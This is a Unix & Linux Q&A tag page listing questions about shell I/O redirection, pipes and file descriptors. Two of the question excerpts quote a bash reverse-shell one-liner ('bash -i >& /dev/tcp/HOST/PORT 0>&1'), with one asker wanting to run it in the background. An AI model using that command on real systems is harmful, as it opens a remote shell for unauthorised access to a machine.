io redirection is the process of changing where the output and input of a program originate

learn more… | top users | synonyms (1)

17
votes
4answers
11k views

How to redirect output of wget as input to unzip?

I have to download a file from this link. The file download is a zip file which I will have to unzip in the current folder. Normally, I would download it first, then run the unzip command. $ wget ...
1
vote
1answer
40 views

Linux : how to redirect stdout & stderr to logger?

I have a program I need to run at startup, it has output on stdout and stderr that I want to redirect to the system log using the logger command. What I have in my startup script is thie: ...
24
votes
4answers
3k views

What is the correct name for the “>” command

I was trying to find how to pass some text to a file without overwriting what's there already using the > command and I realised I don't know what it's called. Searching for right arrow or right ...
1
vote
2answers
80 views

Linux Shell fundamentals: How can I check the file descriptors status, (where are redirected to) right now without lsof?

I am learning about file descriptors for the case of Linux, and I was wondering if there is any command showing a complete list that allows me to know where is each one redirected to in this moment. ...
8
votes
2answers
113 views

How do I elevate privileges in the middle of pipeline?

My guess was as follows: echo "Generating some text" | su - -c cat >/output/file But su says: su: must be run from a terminal What would you do?
5
votes
4answers
237 views

Emptying a file without disrupting the pipe writing to it

I have a program whose output I redirect to a log file: ./my_app > log I would like to clear (i.e. empty) the log from time to time (on demand) and tried various things like cat "" > log ...
1
vote
3answers
295 views

Line 4: $data: ambiguous redirect when using passwordbox

I want to create a passwordbox using the dialog package. #!/bin/bash data=$(tempfile 2>/dev/null) trap "rm -f $data" 0 1 2 5 15 dialog --title "Password" \ --clear \ --passwordbox "Enter your ...
4
votes
2answers
65 views

Command substitution vs I/O Redirection?

I am wondered about differences between I/O Redirection and Command substitution? For example when I want to redirect which command output to cd command (I know that it's not a directory) then the ...
2
votes
3answers
79 views

Redirecting only stderr to a pipe

This code snippet is from Advanced Bash Scripting Guide. # Redirecting only stderr to a pipe. exec 3>&1 # Save current "value" of stdout. ls -l 2>&1 ...
5
votes
3answers
6k views

ssh input from text file

These two question is driving me crazy and I don't have good expertise of ssh. (but I suspect it is to do with redirection only) The questions are, You want to pass multiple lines of input from a ...
1
vote
2answers
62 views

Running 'bash -i >& /dev/tcp/HOST/PORT 0>&1' in the background

I want to run bash -i >& /dev/tcp/HOST/PORT 0>&1 in the background at server1. I want to listen to the connection and send commands back at HOST/PORT. So, tcpdump isn't sufficient for ...
1
vote
1answer
53 views

Why does redirection in crontab result in a zero byte file?

System: Xubuntu 13.10 When I have this crontab entry */5 * * * * cat /home/dbk/.bash_aliases &> /home/dbk/Desktop/junk junk has a byte size of 0. Running $ cat /home/dbk/.bash_aliases ...
3
votes
1answer
86 views

What does exec 3<&1 do?

I understand exec can do I/O Redirection on current shell level. but I only sees usage like exec 6<&0 # Link file descriptor #6 with stdin. # Saves stdin. exec 6>&1 # ...
0
votes
2answers
54 views

How to reset the file descriptor

I was trying to use file descriptor for printing the lines in the file #!/usr/bin/ksh exec 3<&0 exec 0< file.txt while read LINE do echo “$LINE” done and I am done with my code ,it ...
2
votes
1answer
334 views

KSH styling text based menu using STDERR

Is it possible to format the STDERR in order to have a better looking menu using the select command? I have a simple select select oChoice in $(<tempMenu.menu) ; do case "$oChoice" in ...
7
votes
1answer
322 views

Is this redirecting to /dev/null?

I found this script on the arch wiki which prefixes an ffmpeg command like this < /dev/null ffmpeg -i "$a" -qscale:a 0 "${a[@]/%flac/mp3}" I understand the ffmpeg command, it is the < ...
3
votes
3answers
323 views

Concatenating thousands of files: > vs >>

I found two seemingly contradictory answers on StackOverflow to the following questions: Concatenating Thousands of Text Files Across Hundreds of Directories (while keeping some structure) How do I ...
8
votes
2answers
229 views

Why does 'nohup command >& /dev/null' seem to “work” in some shells?

I edited an answer on Ask Ubuntu that was suggesting the following nohup gedit >& /dev/null & When they actually meant nohup gedit &> /dev/null & Now, the latter ...
3
votes
2answers
28 views

Inconsistencies between redirecting input from file, here docs, and here strings

Why is this inconsistent? I would expect here docs and here strings to be functionally equivalent to redirecting input from a file. $ bash --version GNU bash, version 4.1.2(1)-release ...
0
votes
1answer
28 views

Capture Error of LS to file [duplicate]

#!/bin/sh if [ $(ls sample01.log | wc -l) = 1 ] then echo "File Found" > lsOutput.log else echo "File Not Found" > lsOutput.log fi But if sample01.log is not already existing my code already ...
4
votes
1answer
133 views

Why do piping and redirection work differently with here documents?

Combining a redirect with a here document seems logical enough: $ bash > foo <<EOF echo Hello EOF $ less foo Hello But with a pipe it behaves differently: $ bash | tee foo <<EOF ...
1
vote
1answer
55 views

Meaning of bash -i >& /dev/tcp/HOST/PORT 0>&1?

I tried this bash -i >& /dev/tcp/HOST/PORT 0>&1, but it does not seem to work behind firewall. What does this code actually do, which ports are forwarded and could it work behind ...
0
votes
1answer
32 views

Prompting when redirecting content of script to remote machine

I have simple script: #!/bin/bash while getopts ":u:" opt; do case $opt in u) USER="${OPTARG}" ;; \?) echo "Unknown flag has been used: -$OPTARG" >&2 exit 1 ...
0
votes
1answer
33 views

Piped search queries in vim or less

I would like to be able to search a log file for lines that being with ^2014-02-18 15:30:[0-9:,]* and have UserName:someguy much later in the same line. I am sure I could do a regex to include any ...
1
vote
1answer
32 views

How do I redirect output from a command line app (howie AIML interpreter) to another command line app (espeak)?

I'd like to interact with an AIML interpreter that runs on the command line (Howie) using standard input and have the output played using espeak. I've tried: ./runme.py | espeak --stdin No ...
14
votes
2answers
6k views

View stdout/stderr of systemd service

I have created a simple systemd service file for a custom application. The application works well when I run it manually, but my CPU gets maxed out when I run it with systemd. I'm trying do track ...
1
vote
1answer
44 views

GoAccess won't redirect its output as a CGI script

I've been pulling my hair with this script: #!/bin/bash echo Content-type: text/html echo "" goaccess -f /var/www/log/access.log -a | tee Which runs perfectly on the command line (generates HTML ...
1
vote
4answers
22 views

search for multiple condition and then redirect output

How can you search for all lines containing “55=MSFT” and not containing the string “OPEN” in a file, then redirect the output to a file named MSFTFILE?
2
votes
2answers
57 views

Very strange ls > textfile problem when viewing with emacs

I want to list the components of the current working directory in a text file ls -1 > textfile Output looks fine with more. 1010661085645 1010729039145 1010747080245 1010849051345 ...
4
votes
3answers
199 views

Please help explain this bash output redirection

This script was posted as answer to a Question. And I'm trying to work out what's going on. result=$( { { ssh host app-status >&3 3>&-; echo "$?" } | { until read ...
10
votes
3answers
183 views

How to “combine” lines printed by multiple programs safely?

Suppose I want to execute multiple programs in parallel and combine their outputs to one pipe: sh -c ' (echo qqq; echo qqq2; echo qqq3)& (echo www; echo www2; echo www3)& (echo ...
2
votes
1answer
58 views

< and << in UNIX /Linux

What is the option <<and < are used in linux for??? For example cat << abc.txt I know its a stupid question, but i was not able to search it on google as i did not know what ...
1
vote
2answers
54 views

How can I tell what device or file name I am redirecting to

From within a shell script (sh/bash), how can I tell what device or file name I am redirecting to? For example, I have a shell script named script.sh. I run the shell script and redirect STDOUT to a ...
6
votes
2answers
3k views

Why does `exec 2>&1` fail in this bourne shell script?

I am porting an old ksh script to Bourne shell. The old ksh script contains the following code: #!/bin/sh tmpLog=/var/tmp/logfile.$$ exec 1> $tmpLog exec 2>&1 eval $* another_command_1 ...
2
votes
1answer
162 views

Redirecting output to file

I am looking forward to run commands and log their output in a temporary log file to be read later on by different processes. So, for example: rc.d start ntpd > progress.txt Returns: ::Daemon ...
4
votes
1answer
70 views

Can redirecting stdout and stderr to the same file mangle lines?

I've read that when redirecting stdout and stderr to the same file using 2>&1, stdout is usually block buffered while stderr is unbuffered. If a very long line is written to stdout, requiring ...
1
vote
1answer
60 views

Bash Script which can direct stdin stream to program

I am trying to create a script capable of infinitely processing an incoming stream which is piped to it, and continuous producing an output stream which can be piped to something else something as ...
3
votes
1answer
2k views

piping strace to grep

I'm trying to run strace trough ccze, and the pipe doesn't work as expected. The command-line I'm running to test is sudo strace -p $(pgrep apache2) | grep open, and all lines are output, ignoring ...
4
votes
1answer
103 views

Why bzip2 --version behaves strange?

So if I enter the command $ gzip --version | head -n1 everything goes as expected. But if I try the same with bzip2: $ bzip2 --version | head -n1 I get a lot of lines and I have to press Ctrlc ...
1
vote
1answer
41 views

How to redirect sqlite3 output to a file

I installed sqlite3 and want to use it to recover information from stylish.sqlite which is located in my Firefox profile folder and is generated by the Stylish extension: $ cd ...
3
votes
2answers
107 views

Save find -exec output to text file

I have a set of videos in the folder. I would like to get the info about this videos using ffmpeg -i command and save the output to file. So I wrote the line: find . -type f -exec ffmpeg -i {} \; ...
8
votes
1answer
12k views

How can I assign the result of a command to a shell variable?

I want to assign the result of an expression to a variable and concatenate it with a string, then echo it. Here's what I've got: #!/bin/bash cd ~/Desktop; thefile= ls -t -U | grep -m 1 "Screen Shot"; ...
0
votes
4answers
131 views

Why does the command shuf file > file leave an empty file?

I know this is sort of a duplicate of another question (Why this sort command gives me an empty file?) but I wanted to expand on the question in response to the answers given. The command shuf ...
2
votes
2answers
36 views

Redirect output half-way through a script, and restore later

I would like to re-direct stdout half-way through a script. How can I do this in Zsh? # Do something # ... # Redirect stdout to a file (e.g. foo.txt) for x in *; print $x; done # Re-direct stdout ...
2
votes
1answer
102 views

xargs and < and > to the same files

I want to run git stripspace on all my source code files, on each build (or precommit or just manually), to remove extraneous whitespace, and later maybe to format the code in a standard way, So ...
1
vote
1answer
49 views

Alias for redirecting both standard output and standard error, as well as sending to background [duplicate]

I am trying to create an alias for redirecting both standard output and standard error of gedit to /dev/null, whilst sending the command to background. This works: $ alias gedit='gedit $1 > ...
1
vote
1answer
81 views

fg a bg process because you forgot to redirect output to /dev/null

I did Ctrl+Z bg with the intention of disowning next, but I forgot to redirect, now I cant get to my terminal because the scrolling of the output (tarballed a huge directory with verbose set). How do ...
5
votes
1answer
94 views

How to append multiple lines to a file without last newline?

I have a very long string that is split in chunks. I want to append them to a file without putting the newline character using bash. Example: First append cat >> abc.sh << EOL echo "bla ...
4
votes
1answer
65 views

What's the difference between sh script and sh < script

What's the difference between sh myscript and sh < myscript I played around and they seem to have the same effect. Are they equivalent?
2
votes
2answers
34 views

Piping to the command substitution of a string containing pipes

This works— $ x='grep a' $ echo ab | $x ab This doesn't— $ x='grep a | grep b' $ echo ab | $x grep: |: No such file or directory grep: grep: No such file or directory grep: b: No such file or ...